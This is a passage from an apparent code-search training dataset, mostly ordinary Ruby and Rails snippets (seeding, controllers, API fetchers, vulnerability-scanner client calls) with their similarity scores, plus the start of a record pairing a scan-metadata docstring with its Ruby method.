"def create_post values, fetched_tags\n unless (Post.first(:id => values[:id])) || (values[:tumblr_name] == ENV['tumblr_name'])\n post_db = Post.new\n post_db.id = values[:id]\n if tumblr = Tumblr.first(:url => values[:tumblr_url])\n if tumblr.name != values[:tumblr_name]\n tumblr.update(:name => values[:tumblr_name])\n end\n else\n tumblr = Tumblr.create(:name => values[:tumblr_name], :url => values[:tumblr_url])\n end\n post_db.tumblr = tumblr\n post_db.score = 0\n post_db.fetched = DateTime.now\n post_db.img_url = values[:img_url]\n post_db.height = values[:height]\n post_db.width = values[:width]\n unless values[:img_url]\n post_db.skip = true\n end\n post_db.save\n score = 0\n\n values[:tags].each do |t|\n if ta = fetched_tags[t] || Tag.first(:name => t)\n score += ta.value\n else\n ta = Tag.create(:name => t, :value => 0, :fetch => false, :value => 0)\n fetched_tags[t] = ta\n end\n post_db.add_tag ta\n end\n post_db.update({:score => score})\n post_db\n end\n end",
"def threaded_looped_generate_posts\n return Toolbox::run_in_new_thread \"#{__method__}\" do\n Toolbox::looper do\n log \"----------------------threaded_looped_generate_posts----------------------\"\n generate_photo_post(@keywords.sample, @keyword_suffix)\n random_sleep\n log \"----------------------threaded_looped_generate_posts----------------------\"\n end\n end # run_in_new_thread\n end",
"def make_ivory_tower\n 5.times do |n| \n user = make_user\n journal = make_journal\n journal.save!\n publication = make_publication\n article = make_article\n section_array = []\n 3.times { |n| section_array << make_section }\n author = make_author\n journal.publications << publication\n publication.articles << article\n article.authors << author\n section_array.each { |section| article.sections << section }\n end\nend",
"def index\n \n \n if params[:random]\n @posts = Post.order('random()').page(params[:page]).per_page(10)\n else\n @posts = Post.paginate(page: params[:page], :per_page => 10).order('created_at DESC')\n end\n \n end",
"def create_example_groups(groups_count = 100)\n # FIXME: What if Example organization is not found?\n organization = Organization.where(:name => 'Example').first\n \n # Get example students\n users = User.where(:firstname => 'Student', :organization_id => organization.id).all\n user_counter = 0\n \n # Create groups and submissions\n for i in (1..groups_count)\n # Create group\n group = Group.new(:course_instance_id => self.id, :name => \"Group #{i}\", :max_size => 3)\n group.save(:validate => false)\n\n # Add users to group\n students_count = rand(3) # self.groupsizemin + rand(self.groupsizemax - self.groupsizemin + 1)\n for j in (0..students_count)\n user = users[user_counter]\n group.add_member(user) if user\n user_counter += 1\n end\n\n break if user_counter >= users.size\n end\n end",
"def index\n if params[:category_slug].present?\n @category = PostCategory.friendly.find(params[:category_slug])\n @posts = Post.where(category: @category).latest.limit(5)\n else\n @posts = Post.latest.limit(5)\n end\n\n @featured = Post.order('RANDOM()').limit(4)\n @result = Front::RelatedItemsBuilder.new(@posts).build\n end",
"def generate_invitees_for(micropost, num_invitees)\r\n\twhile num_invitees > 0 do\r\n\t\tmicropost.add_to_invited(FactoryGirl.create(:user))\r\n\t\t\r\n\t\tnum_invitees-=1\r\n\tend\r\nend",
"def sample(n)\n return @content if n >= @content.size\n samples = n > 0 ? @content.sample(n) : []\n samples\n end",
"def seed_clients\n 10.times do |n|\n Client.create!({\n sex: %w(male female other).sample,\n year_of_birth: [*1950..2004].sample,\n cell_phone: fake_cell_phone,\n category_ids: [1, 2, 3, 4].sample\n })\n end\nend",
"def posts; end",
"def generate_polls_for(micropost, num_polls)\r\n\twhile num_polls > 0 do\r\n\t\tFactoryGirl.create(:poll, micropost: micropost)\r\n\r\n\t\tnum_polls-=1\r\n\tend\r\nend",
"def create_bed_new\n count = no_of_beds.to_i\n count.times do\n beds.create()\n end\n end",
"def index\n @posts = Post.all.order(\"RANDOM()\")\n @categories = Category.all\n\n end",
"def db_seed\n new_products = []\n 10.times do\n # you will write the \"create\" method as part of your project\n new_products << Product.create(brand: Faker::Company.name,\n name: Faker::Commerce.product_name,\n price: Faker::Commerce.price)\n end\n new_products\nend",
"def generate_article(page_data, count = 1)\n # print current status to user\n print \"Loading articles.\"\n # return variable\n stories = [ ]\n # request each article via it's post id\n i = 0\n while i < count\n print \".\"\n # set URL\n story_url = \"https://hacker-news.firebaseio.com/v0/item/\" + \"#{page_data[i]}.json\"\n story_uri = URI(story_url)\n #get page data\n story_response = Net::HTTP.get(story_uri)\n story = JSON.parse(story_response)\n # article hash builder\n new_story = {:title => story[\"title\"] ||= nil,\n :id => story[\"id\"] ||= nil,\n :type => story[\"type\"] ||= nil,\n :author => story[\"by\"] ||= nil,\n :time => story[\"time\"] ||= nil,\n :text => story[\"text\"] ||= nil,\n :url => story[\"url\"] ||= nil,\n :parent => story[\"parent\"] ||= nil,\n :descendants => story[\"descendants\"] ||= nil,\n :kids => story[\"kids\"] ||= nil}\n stories << new_story\n i += 1\n end\n # return array with articles as hash\n print \"\\n\"\n stories\n end",
"def initialize posts, num, total_number\n @posts = posts\n @number = num\n @total_number = total_number\n end",
"def randomize_records\n puts \"Due to the API throughput limitations, this may take some time...\\n\"\n\n execute_customer_record_create(10)\n\n execute_sales_order_create(25)\n\n execute_invoice_create(25)\n\n # 25.times do |t|\n # execute_payment_create(25)\n # end\n\n puts \"\\nFinished creating bulk records!\"\n exit\n end",
"def add_extra_projects\n users = User.all\n n = 0\n users.each do |u|\n n += 1\n next if n < 20 || rand < 0.2 || u.projects.count.positive?\n\n u.projects.create(title: \"Project #{n}: #{Faker::Company.catch_phrase}\",\n source_code_url: Faker::Internet.url,\n deployed_url: Faker::Internet.url,\n description: \"Description #{n}: #{Faker::Lorem.paragraph(10)}\",\n created_at: 11.minutes.ago,\n updated_at: 10.minutes.ago)\n end\nend",
"def index\n @article = Article.last\n @articles = Article.where.not(id: @article).sample(12)\n end",
"def create\n @teacher = Teacher.new(teacher_params)\n respond_to do |format|\n if @teacher.save\n format.html { redirect_to @teacher, notice: 'Teacher was successfully created.' }\n format.json { render :show, status: :created, location: @teacher }\n else\n 3.times { @teacher.posts.build }\n format.html { render :new }\n format.json { render json: @teacher.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_random_list(limit)\n limit.times do\n add(rand(10))\n end\n end",
"def sample_comments(posts, max_comments_per_post)\n get_comments(posts.as(:post)).limit_section(:post, max_comments_per_post)\nend",
"def new\n\t\t@post = Post.new\n\t\t# respond_to do |format|\n\t\t# \tformat.html\n\t\t# \tformat.json {render json: @post}\n\t\t# end\n\n\t\t3.times do\n\t\t\tphoto = @post.photos.build\n\t\tend\n\tend",
"def index\n @test_posts = TestPost.all\n end",
"def make_student_submissions\n\t1.upto(NUM_SUBMISSIONS) do |n|\n\t\ts = StudentSubmission.create()\n\t\ts.student = Student.find(n % NUM_STUDENT + 1)\n\t\ts.submission = Submission.find(n % NUM_SUBMISSIONS + 1)\n\t\ts.id = n\n\t\ts.save\n\tend\nend",
"def create_authors\n transaction { 100.times { Author.create first_name: rand_name, last_name: rand_name } }\n create_message Author\nend",
"def setup\n db = CouchRest.database!(\"http://127.0.0.1:5984/couchdb_test\")\n\n (1..@num_packs).each do |num_pack|\n elems = []\n (1..@num_items).each do |num_item|\n elems << { :name => Faker::Name.name, :tags => random_tags(), :created_at => Time.now() }\n end\n\n response = db.bulk_save(elems)\n puts response\n end\n\n end",
"def create\n @post = Post.new(post_params)\n\n respond_to do |format|\n if @post.save\n i = 0\n params[:post_attachments]['avatar'].each do |a|\n @post_attachment = @post.post_attachments.create\n @pic_count = @post.post_attachments.count\n file = a\n uploader = CutterUploader.new\n uploader.store!(file)\n @post_attachment.avatar = uploader.url\n #while ( i < @pic_count + 1 )\n @post_attachment.id_of_pic = i\n i+= 1\n #end\n if i > 5\n i = 0\n end\n @post_attachment.save\n end\n format.html { redirect_to @post, notice: 'Post was successfully created.' }\n else\n format.html { render action: 'new' }\n end\n end\n end",
"def create_additional_addresses(amount)\n amount.times do\n profile = UserProfile.all.sample\n Address.create fake_address(profile_id: profile.id)\n end\nend",
"def create_ingredients(recipe, count: 2)\n (1..count).map do |i|\n create :ingredient, recipe_id: recipe.id\n end\n end",
"def test_item\n 20.times do |i|\n new_item = Item.new\n new_item.title = Faker::Name.name\n new_item.description = Faker::Lorem.paragraph(8)\n new_item.price = Faker::Number.decimal(2)\n new_item.image_url = Faker::Avatar.image\n # temporaly, add item to first category\n new_item.category_id = Category.first.id\n new_item.save\n end\nend",
"def signup(n=N)\n puts \"-- Signup #{n} Users\"\n n.times do |i|\n User.create(\"testuser#{i}\", \"password#{i}\")\n end\nend",
"def seed_categories\n template_categories = [\"Toys\",\"Cards\",\"Games\",\"Misc\"]\n template_categories.each do |category|\n Category.create(name: category)\n end\n puts \"created categories\"\nend",
"def create\n\tsuper\n\t5.times { self.questions.build.save }\n end",
"def index\n \t# @posts = Post.all.limit(10).includes(:photos, :user, :likes).order('created_at desc')\n\n @posts = Post.paginate(:page => params[:page], :per_page => 5).includes(:photos, :user, :likes).order('created_at desc')\n \t@post = Post.new\n end",
"def new\n @post = Post.new\n 2.times { @post.post_images.build }\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @post }\n end\n end",
"def posts_from(num, size)\n post.order('num asc').limit(size).where('num >= ?', num)\n end",
"def posts\n posts = @client.entries(content_type: 'post').items\n posts || []\n end",
"def create_many(data)\n command(create: :pages, result: :many).call(data)\n end",
"def collection(factory, count=3, opts={})\n results = []\n count.times do\n yield opts if block_given?\n results << FactoryBot.create(factory.to_sym, opts)\n end\n results\n end",
"def test_all\n Post.create(:title => \"11222\")\n Post.create(:title => \"112ssd22\")\n posts = Post.all\n assert posts.is_a?(Array)\n assert posts[0].is_a?(Post)\n end",
"def generate_results\n Result.destroy_all\n\n puts 'Generating results'\n\n (MULTIPLIER * 3).times do\n user_id = User.all.sample.id\n question_id = Question.all.sample.id\n result = ['true', 'false'].sample\n Result.create(user_id: user_id, question_id: question_id, result: result)\n end\nend",
"def index\n\t\t@posts = Post.all.limit(5).order(\"created_at DESC\")\n end",
"def db_seed\n 10.times do \n \tProduct.create(brand: Faker::Company.name, name: Faker::App.name, price: Faker::Commerce.price)\n end\nend",
"def new\n @test = @subject.tests.new\n 3.times do\n question = @test.questions.build\n 4.times { question.answers.build }\n end\n end",
"def create_orders(count)\n users = User.where(admin: false)\n i = 0\n while i < count.to_i && users.count > 0 do\n Order.create(user: users[i % users.count], total_amount: 0,\n shipping_address: Faker::Address.street_address)\n i += 1\n end\nend",
"def new\n\n\n # @images = Image.all.sample(6)\n @sentence = Sentence.new\n end",
"def mosaic\n params['min'] ||= 2;\n params['size'] ||= 8;\n \n @min = params['min']\n @size = params['size']\n @body_id = 'm'\n @topic = Topic.random(@min)\n @posts = Post.find_for_mosaic(@topic.id, @size)\n end",
"def top_posts(count = nil)\n mock_request = Rack::MockRequest.new(APP)\n return mock_request.get(top_posts_endpoint) unless count\n\n mock_request.get(top_posts_endpoint, { 'router.params' => { count: count }, format: :json })\n end",
"def db_seed\n # Your code goes here!\n\n brands = []\n product_names = []\n prices = []\n 10.times do\n brands.push(Faker::Company.name)\n product_names.push(Faker::Commerce.product_name)\n prices.push(Faker::Commerce.price(10..50))\n end\n\n 10.times do\n Product.create(brand: brands.sample, name: product_names.sample, price: prices.sample )\n end\n\nend",
"def posts_feed\n\n init_posts_feed\n\n end",
"def post_sample_size\n 300\n end",
"def create_books\n transaction {\n 150.times do\n Book.create(\n title: rand_name,\n author: rand_record(Author),\n publisher: rand_record(Publisher)\n )\n end\n }\n create_message Book\nend",
"def generate_tweets(hashtag, how_many)\n total_stars = 0\n how_many.times do\n stars = rand(5)+1\n total_stars += stars\n Tweet.create(\n user_handle: Faker::Lorem.words(2).join('_'),\n user_display: Faker::Name.name,\n feedback: Faker::Lorem.sentences(2).join << \" #{stars}star #doha ##{hashtag} #dmkr\",\n rating: stars,\n event_hashtag: 'doha',\n participant_hashtag: \"#{hashtag}\",\n timestamp: rand(24.hours).ago\n )\n end\n total_stars\nend",
"def new_judgings(n = 100)\n\t\tresult = api_get('judgings', cid: contest_id, limit: n,\n\t\t fromid: last_judging)\n\t\tself.last_judging = result.last['id'] + 1 unless result.empty?\n\t\tresult\n\tend",
"def create_data_test\n 5.times do\n user = User.make\n user.save\n #creeate and assing list\n 5.times do\n list=List.make\n list.save\n user.lists << list\n end\n #create and assign contacts\n 5.times do\n user.contacts << create_contact\n ContactList.create(:list => user.lists.first, :contact => user.contacts.last)\n ContactList.create(:list => user.lists.last, :contact => user.contacts.last)\n end\n user.save\n end\nend",
"def test_ID_25890_published_posts_01\n login_as_user1\n go_to_edit_profile_page\n $profile_your_posts.click\n sleep 5\n publish_post_if_not_found(\"Sports\",\"Basketball\")\n end",
"def create\n @post = Post.new(params[:post])\n @post.user_id = session[:user_id]\n \n respond_to do |format|\n if @post.save\n flash[:notice] = 'Post was successfully created.'\n \n if params[:images]\n counter = 0\n for image in params[:images][\"file_data\"]\n if image != \"\"\n @image = Image.create(:file_data => image, :owner_id => @post.id, :owner_type => 'Post', :filename => image.original_filename, \n :body => params[:images][\"body\"][counter] )\n counter = counter + 1\n end\n end\n end\n \n format.html { redirect_to :controller => \"posts\" }\n format.xml { head :created, :location => post_url(:id => @post) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post.errors.to_xml }\n end\n end\n end",
"def new_posts subreddit = nil, caching = false\n cache = lambda do |id, &block|\n next block.call unless caching\n require \"fileutils\"\n FileUtils.mkdir_p \"cache\"\n filename = \"cache/#{Digest::MD5.hexdigest id.inspect}\"\n next YAML.load File.read filename if File.exist? filename\n block.call.tap do |data|\n File.write filename, YAML.dump(data)\n end\n end\n Enumerator.new do |e|\n after = {}\n loop do\n # TODO maybe force lib user to prepend \"r/\" to @subreddit constructor?\n args = [:get, \"/#{subreddit || (@subreddit ? \"r/#{@subreddit}\" : fail)}/new\", {limit: 100}.merge(after)]\n result = cache.call(args){ json *args }\n fail if result.keys != %w{ kind data }\n fail if result[\"kind\"] != \"Listing\"\n fail result[\"data\"].keys.inspect unless [\n %w{ after dist modhash whitelist_status children before },\n %w{ modhash dist children after before },\n %w{ after dist modhash geo_filter children before },\n ].include? result[\"data\"].keys\n @@skip_erroneous_descending_ids[ result[\"data\"][\"children\"].map do |post|\n fail \"unknown type post['kind']: #{post[\"kind\"]}\" unless post[\"kind\"] == \"t3\"\n post[\"data\"].dup.tap do |data|\n data[\"url\"] = \"https://www.reddit.com\" + data[\"url\"] if /\\A\\/r\\/[0-9a-zA-Z_]+\\/comments\\/[0-9a-z]{5,6}\\// =~ data[\"url\"] if data[\"crosspost_parent\"]\n end\n end ].each do |data|\n e << data\n end\n break unless marker = result[\"data\"][\"after\"]\n after = {after: marker}\n end\n end\n end",
"def new\n @article = Article.new\n 5.times {@article.photos.build}\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @article }\n end\n end",
"def create_category_pages\n articles_by_category.each do |category, posts|\n @items << Nanoc::Item.new(\n \"<%= render('category', :category => '#{category}') %>\",\n {\n :title => \"Posts in #{category}\",\n :h1 => \"#{category} posts\",\n :posts => posts\n },\n \"/categories/#{category}\",\n :binary => false\n )\n end\n end",
"def seed_art\n ### generates seed art\n 100.times do \n categories = [\"Cool Things\", \"The color red\", \"Heavy stuff\", \"Ocean\"]\n category = Category.find_or_create_by(name: categories.sample)\n random = User.all.sample\n newart = Art.create(\n user_id: random[:id],\n artist_id: random[:id],\n category_id: category[:id],\n for_sale: false,\n slug: \"a-work-of-art\",\n description: \"a work of art\",\n caption: category[:name],\n value: rand(1..100),\n link: \"www.nftgram.io\"\n )\n user_length = User.all.length\n art_length = Art.all.length\n random_number_art = rand(1..art_length)\n random_number_user = rand(1..user_length)\n comments = [\"Beautiful.\", \"Very nice.\", \"Cooooool.\", \"Wow this is art.\", \"Perfection.\"]\n ### generates art likes\n Like.create(user_id: random_number_user, likeable_type: \"Art\", likeable_id: random_number_art)\n ### generates art comments\n Comment.create(comment: comments.sample, user_id: User.all.sample[:id], commentable_id: newart[:id], commentable_type: 'Art') end\nend",
"def db_seed\n\tbrand = []\n\tproducts_names = []\n\tprices = []\n\tarray = []\n\t10.times do |i|\n\t\tbrand.push(Faker::Commerce.department)\n\t\tproducts_names.push(Faker::Commerce.product_name)\n\t\tprices.push(Faker::Commerce.price)\n\t\tProduct.create(id:i,brand:brand[i],name:products_names[i],price:prices[i])\n\tend\t\nend",
"def posts\n waterfall(@site.posts.docs,\n true\n )\n end",
"def generate_marquee_posters count\n movies = Movie.all.shuffle[0..(count/2 - 1)]\n actor_posters = movies.map { |m| m.cast.shuffle[0].profile_path }\n movie_posters = movies.map { |m| m.poster_path }\n\n (movie_posters + actor_posters).shuffle\n end",
"def new_post\n @i = 0\n @post_title = params[:title]\n @post\n render \"post\"\n end",
"def db_seed\n\n 10.times do\n\n brands = Faker::Commerce.product_name\n product_names = Faker::Name.name \n prices = Faker::Commerce.price\n\n Product.create( brand: brands,\n name: product_names,\n price: prices)\n end\nend",
"def initial_categories\n category_array = Array.new\n 10.times do\n category_array << Faker::Hacker.noun\n end\n add_additional_titles(category_array)\nend",
"def get_all_posts(oauth_token)\n result = []\n client = Octokit::Client.new(access_token: oauth_token)\n posts = client.contents(full_repo_name, path: '_posts')\n posts.each do |post|\n oldest_commit = get_oldest_commit_for_file(client, post.path)\n username = client.user[:login]\n if username == oldest_commit[:author][:login]\n post_api_response = client.contents(full_repo_name, path: post.path)\n\n post_model = create_post_from_api_response(post_api_response, nil)\n image_paths = KramdownService.get_all_image_paths(post_model.contents)\n\n images = []\n image_paths.each do | image_path |\n image_content = client.contents(full_repo_name, path: image_path)\n images << create_post_image(image_path, image_content.content)\n end\n\n post_model.images = images\n \n result << post_model\n end\n end\n result\n end",
"def show\n @sci = Post.limit(4).order('created_at ASC')\n @latest = Post.limit(6).order('created_at DESC')\n @popular2 = Post.limit(6).order(\"RANDOM()\")\n @footer = Post.limit(3).order('created_at DESC')\n @footer2 = Post.limit(3).order(\"RANDOM()\")\n @also = Post.limit(4).order(\"RANDOM()\")\n\n prepare_meta_tags(site: 'The Shedonist',\n title: @post.title,\n description: @post.body,\n image: @post.image,\n twitter: {card: \"summary_large_image\"})\n\n end",
"def db_seed\n # Use faker gem to generate arrays with fake brands, product names, and prices.\n 10.times do\n # Create 10 new Product objects, and save them to the database\n Product.create name: Faker::Commerce.product_name, brand: Faker::Company.name, price: Faker::Commerce.price\n end\nend",
"def make_microposts\n random = Random.new 1234\n\n # It's better to start with the 'users' array and access its elements than to use\n # User.find(<index>) which instantiates a new object every time => avoids objects proliferations.\n users = User.all\n\n user = users[random.rand(1..6) - 1] \n user.microposts.create!(:content => Faker::Lorem.sentence(5))\n\n (2..300).each do\n user = users[random.rand(1..6) - 1]\n content = Faker::Lorem.sentence(5)\n\n followed_id = random.rand(1..6)\n\n # A user can't reply to another user that he's not following\n if ( user.following?(users[followed_id - 1]) )\n\n followed_user = users[followed_id - 1]\n\n # It's better to put the new micro in a var that can be referred by both the user \n # (and the replied user if it'll turn into a reply). That way, we ensure that both users refer to the same micro.\n # Remember: micro and user.microposts.last are distinct objects (although they both share the same micro id)!\n micro = user.microposts.create!(:content => content)\n\n followed_user.replies << micro\n else\n user.microposts.create!(:content => content)\n end\n end\nend"
] |
[
"0.7760789",
"0.7468684",
"0.71601",
"0.6980279",
"0.6676278",
"0.6434332",
"0.6426591",
"0.63799375",
"0.6373876",
"0.6356503",
"0.6356503",
"0.6323924",
"0.6311269",
"0.62499684",
"0.62360156",
"0.62043643",
"0.61530966",
"0.61039674",
"0.60942537",
"0.59117395",
"0.58890754",
"0.5879472",
"0.5877467",
"0.5874646",
"0.5867384",
"0.58568263",
"0.5851853",
"0.5823697",
"0.5820098",
"0.5812645",
"0.5802391",
"0.5800752",
"0.57982457",
"0.57967657",
"0.5793236",
"0.57694936",
"0.5756594",
"0.5745378",
"0.5739798",
"0.5737683",
"0.572226",
"0.57105905",
"0.5687281",
"0.56675214",
"0.56673735",
"0.5657266",
"0.5656714",
"0.5655091",
"0.56464773",
"0.56275815",
"0.561007",
"0.5609733",
"0.5595469",
"0.55841887",
"0.55829376",
"0.55670583",
"0.55612385",
"0.5559793",
"0.5556859",
"0.5539866",
"0.5518428",
"0.5515724",
"0.55097544",
"0.55013317",
"0.55004483",
"0.5466676",
"0.54656947",
"0.5460071",
"0.54538244",
"0.5449534",
"0.5448384",
"0.54472214",
"0.5445052",
"0.5444705",
"0.54368365",
"0.54310185",
"0.54281723",
"0.5411688",
"0.5410452",
"0.54097545",
"0.5406078",
"0.5403161",
"0.5393442",
"0.53909165",
"0.53888977",
"0.5381314",
"0.53779113",
"0.53760415",
"0.53691435",
"0.53676164",
"0.5358407",
"0.535697",
"0.53545326",
"0.5351264",
"0.5349888",
"0.5348734",
"0.53459513",
"0.5345563",
"0.53451854",
"0.53391296"
] |
0.8585263
|
0
|
Returns the information for all scans. Empty beds are filtered out.
|
def metadata(params)
scanned_beds = params[:robot].reject { |_k, v| v.values.all?(&:blank?) }
{ "scanned" => scanned_beds }
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def list_scans\n Item.scoped.each {|i|\n puts i.name\n i.scans.each {|x| puts \"\\t#{x}\"}\n puts \"\"\n }\n end",
"def list_scans\n Item.scoped.each {|i|\n puts i.name\n i.scans.each {|x| puts \"\\t#{x}\"}\n puts \"\"\n }\n end",
"def scan_list\n http_get(:uri=>\"/scans\", :fields=>x_cookie)\n end",
"def list\n response = @client.get 'scans'\n ::JSON.parse response.body\n end",
"def all_scan_registers\n @all_scan_registers ||= begin\n s = scan_registers.dup\n modules.each do |mod|\n s += mod.all_scan_registers\n end\n s\n end\n end",
"def scan()\n scanConfig() ;\n scanTrailLog() ;\n analyzeDemandLog() ;\n end",
"def scan_list_hash\r\n\t\tpost= { \"token\" => @token } \r\n\t\tdocxml=nessus_request('scan/list', post)\r\n\t\tscans=Array.new\r\n\t\tdocxml.root.elements['contents'].elements['scans'].elements['scanList'].each_element('//scan') {|scan| \r\n\t\t\tentry=Hash.new\r\n\t\t\tentry[:id]=scan.elements['uuid'].text\r\n\t\t\tentry[:name]=scan.elements['readableName'].text\r\n\t\t\tentry[:current]=scan.elements['completion_current'].text;\r\n\t\t\tentry[:total]=scan.elements['completion_total'].text;\t\t\r\n\t\t\tscans.push(entry) \r\n\t\t}\r\n\t\treturn scans\r\n\tend",
"def index\n @scanners = Scanner.all\n end",
"def scan_activity\n r = execute(make_xml('ScanActivityRequest'))\n res = []\n if r.success\n r.res.elements.each('//ScanSummary') do |scan|\n res << ScanSummary.parse(scan)\n end\n end\n res\n end",
"def scan_activity\n r = execute(make_xml('ScanActivityRequest'))\n res = []\n if r.success\n r.res.elements.each('//ScanSummary') do |scan|\n res << ScanSummary.parse(scan)\n end\n end\n res\n end",
"def activity\n r = execute(make_xml('ScanActivityRequest'))\n res = []\n if r.success\n r.res.elements.each('//ScanSummary') do |scan|\n res << ScanData.parse(scan)\n end\n end\n res\n end",
"def scan_list_hash\n\t\t\tpost= { \"token\" => @token }\n\t\t\tdocxml = nil\n\t\t\tdocxml=nessus_request('scan/list', post)\n\t\t\tif docxml.nil?\n\t\t\t\treturn\n\t\t\tend\n\t\t\tscans=Array.new\n\t\t\tdocxml.root.elements['contents'].elements['scans'].elements['scanList'].each_element('//scan') {|scan|\n\t\t\t\tentry=Hash.new\n\t\t\t\tentry['id']=scan.elements['uuid'].text if scan.elements['uuid']\n\t\t\t\tentry['name']=scan.elements['readableName'].text if scan.elements['readableName']\n\t\t\t\tentry['owner']=scan.elements['owner'].text if scan.elements['owner']\n\t\t\t\tentry['start']=scan.elements['start_time'].text if scan.elements['start_time']\n\t\t\t\tentry['status']=scan.elements['status'].text if scan.elements['status']\n\t\t\t\tentry['current']=scan.elements['completion_current'].text if scan.elements['completion_current']\n\t\t\t\tentry['total']=scan.elements['completion_total'].text if scan.elements['completion_total']\n\t\t\t\tscans.push(entry)\n\t\t\t}\n\t\t\treturn scans\n\t\tend",
"def get_all_info\n\t\tpage = fetch\n\t\tscrape(page)\n\tend",
"def scan; return nil; end",
"def all_scanned_products(scans)\n scans.map do |scan|\n { quantity: scan.quantity, title: scan.product.title, image_url: scan.product.image_url, scan_id: scan.id }\n end\n end",
"def index\n @vulnerability_scan_results = VulnerabilityScanResult.all\n end",
"def index\n @scanhosts = Scanhost.all\n end",
"def scan()\n scanDir() ;\n scanLogs() ;\n end",
"def index\n @scans = Scan.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @scans }\n end\n end",
"def index\n @scan_header_tags = ScanHeaderTag.all\n end",
"def scan_rest; end",
"def index\n @scan_files = ScanFile.all\n end",
"def index\n ddep = {}\n rdep = {}\n ddep[:deleted] = false if !params[:deleted]\n rdep[:request_number] = nil if !params[:request_number]\n @scans = Scan.all.where(ddep).where(rdep)\n end",
"def scanner\n @scanner\n end",
"def index\n respond_with(@scans)\n end",
"def index\n @beacons = Beacon.filter(params)\n end",
"def details(scan_id, history_id = nil)\n if history_id.nil?\n response = @client.get(\"scans/#{scan_id}\")\n else\n response = @client.get(\"scans/#{scan_id}\", history_id: history_id)\n end\n ::JSON.parse response.body\n end",
"def all\n sensors = $config.params\n display = sensors['AltDisplay']\n if sensors.keys.any? {|key| sensors[key]['enabled'] == \"1\"}\n sensors.keys.each{ |key|\n if (sensors[key]['enabled'] == \"1\")\n extra_enabled = true\n display_temp(key, sensors[key], display)\n end\n }\n else\n puts \"Looks like you don't have any extra keys enabled. \\nRun `istats scan` for the initial scan or `istats --help` for more info.\"\n end\n end",
"def all\n @bands\n end",
"def show\n @scan = Scan.find(params[:id])\n end",
"def index\n @station_infos = StationInfo.all\n end",
"def index\n @scan_protocols = current_account.scan_protocols.all\n end",
"def index\n if params[:limit]\n recent_scans = @site.scans.where(:last_visited.ne => nil).order(:last_visited).limit(params[limit])\n @scans = recent_scans\n else\n @scans = @site.scans.all\n end\n respond_to do |format|\n format.html do \n @scans\n end\n format.json do\n render json: @scans\n end\n end\n end",
"def info\n puts \"All stations:\"\n @stations.each.with_index(1) do |station|\n puts \"#{station.name}: \"\n station.show_trains(\"Cargo\")\n station.show_trains(\"Passenger\")\n end\n\n puts \"All routes:\"\n show_routes\n puts \"All trains:\"\n show_trains\n puts \"All wagons:\"\n show_wagons\n end",
"def all\n @filters\n end",
"def completed_scans(site_id)\n table = { 'table-id' => 'site-completed-scans' }\n data = DataTable._get_json_table(self, \"/data/scan/site/#{site_id}\", table)\n data.map(&CompletedScan.method(:parse_json))\n end",
"def scan\n PS2.scan(@options.scan, @options)\n end",
"def all\n data\n end",
"def scan_all(*vars, &block)\n Query.elastics.scan_search(:get, self, *vars) do |result|\n block.call result.get_docs\n end\n end",
"def index\n @banneds = Banned.all\n end",
"def show_scan_new_items\n Array.new(40, generate_barcode)\n end",
"def scan_statistics(scan_id)\n r = execute(make_xml('ScanStatisticsRequest', {'scan-id' => scan_id}))\n if r.success\n ScanSummary.parse(r.res.elements['//ScanSummary'])\n else\n false\n end\n end",
"def all_discounts(scans)\n scans.map do |scan|\n product = scan.product\n next unless product.is_a?(BuyXGetXProduct) || product.is_a?(BulkProduct)\n discount_total = scan.discount_total\n next unless discount_total.positive?\n { title: discount_title(scan), amount: priceify_number(discount_total) }\n end.compact\n end",
"def entries\n @filter\n end",
"def site_scan_history(site_id)\n r = execute(make_xml('SiteScanHistoryRequest', { 'site-id' => site_id }))\n scans = []\n if r.success\n r.res.elements.each('SiteScanHistoryResponse/ScanSummary') do |scan_event|\n scans << ScanSummary.parse(scan_event)\n end\n end\n scans\n end",
"def scanSite()\n\t\tr = @connection.execute('<SiteScanRequest session-id=\"' + \"#{@connection.session_id}\" + '\" site-id=\"' + \"#{@site_id}\" + '\"/>')\n\t\tif(r.success)\n\t\t\tres = {}\n\t\t\tr.res.elements.each('//Scan/') do |s|\n\t\t\t\tres[:scan_id] = s.attributes['scan-id']\n\t\t\t\tres[:engine_id] = s.attributes['engine-id']\n\t\t\tend\n\t\t\treturn res\n\t\telse\n\t\t\treturn false\n\t\tend\n\tend",
"def get_all\n @data\n end",
"def scan_for_open \n ssids_open = []\n response = @wpa.scan\n count_no_ssid = 0\n count_scanned = 0\n count_skipped = 0\n count_wpa = 0\n\n @wpa.scan_results.each do |r|\n count_scanned += 1\n # TODO:\n # - figure out how to add networks without an ssid\n # - maybe have a global regex like Officejet for ignoring ssids\n unless r.ssid\n count_no_ssid += 1\n next\n end\n if Wpa.is_ssid_current(r.ssid) \n #@report.push [curr: [r.bssid, r.ssid, r.flags]]\n next\n end\n unless r.flags == '[ESS]'\n count_wpa += 1\n next\n end\n ssids_open.push(r)\n end\n @report.unshift \"#{Time.now} wpa:#{count_wpa} hid:#{count_no_ssid} / #{count_scanned}\"\n return ssids_open\nend",
"def arches\n @arches ||= lipo.info\n end",
"def scan_statistics(scan_id)\n r = execute(make_xml('ScanStatisticsRequest', 'scan-id' => scan_id))\n if r.success\n ScanSummary.parse(r.res.elements['//ScanSummary'])\n else\n false\n end\n end",
"def load_searches_all\n searches = ServiceCatalographer::Search::all_possible_activity_logs_for_search([ \"data\" ])\n searches = searches.map{|s| ServiceCatalographer::Search::search_term_from_hash(s.data) }\n searches = searches.reject{|s| s.blank? }\n \n @searches_all = searches\n end",
"def all\n @data\n end",
"def get_all()\n raise \"Must be overridden\"\n end",
"def scan_pause_all\n\t\t\tb=scan_list_uids\n\t\t\tb.each {|uuid|\n\t\t\t\tscan_pause(uuid)\n\t\t\t}\n\t\t\treturn b\n\t\tend",
"def all\n @hits\n end",
"def all\n response = RestClient.get(@all_url, params)\n parsed = JSON.parse(response)\n \n parsed['results']['result']\n end",
"def scan_pause_all\r\n\t\tb=scan_list_uids\r\n\t\tb.each {|uuid|\r\n\t\t\tscan_pause(uuid)\r\n\t\t}\r\n\t\treturn b\r\n\tend",
